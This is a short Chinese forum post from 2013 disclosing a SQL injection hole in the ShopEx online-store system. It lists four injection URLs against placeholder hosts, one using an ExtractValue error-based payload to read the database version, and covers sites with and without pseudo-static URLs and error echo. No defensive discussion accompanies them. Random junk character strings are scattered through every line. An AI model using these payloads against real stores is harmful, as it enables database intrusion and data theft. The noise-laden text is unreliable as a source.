注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…, d- F$ _7 M; y% E+ z% s8 X- y, _
# p$ R0 M- N" i# z$ j: \1 C' i1 ~* Y
好吧，我扯远了~~6 D% d) Q9 _7 b7 F. `9 B6 ]. e
其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~& i0 V2 \( c+ ^" |/ M4 G8 y7 F2 W
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：5 x3 v2 x1 s0 s" Z$ f5 A
9 C/ N. d) f8 E* V3 |: o& i$ q/ s: ihttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
/ u- L2 h+ _$ N4 P6 P- }3 T1 M _3 M6 ]
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html5 t- E+ T& s7 A* {& S) e
5 w( l4 ] w* T: B3 uhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
" L6 u. A3 g4 z; g$ t- r9 K2 `, s
3 Z. V% W( P% ]6 d& i& Z' Z8 khttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html) Z' h3 E) \9 B; \
* |1 Y6 P/ @7 k0 _: V" h4 q
% z' k2 ^* ^1 I5 t3 m- @3 X3 c一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
* D( H( C0 v: v8 v% T0 s如何注入就不多说了，10多年的东西了…不会也会了…; o* ]4 c! l/ V l5 H: ?
% \" F& D( f# |8 v3 J& ] |
发表于 2013-2-4 16:20:04
收藏
支持
反对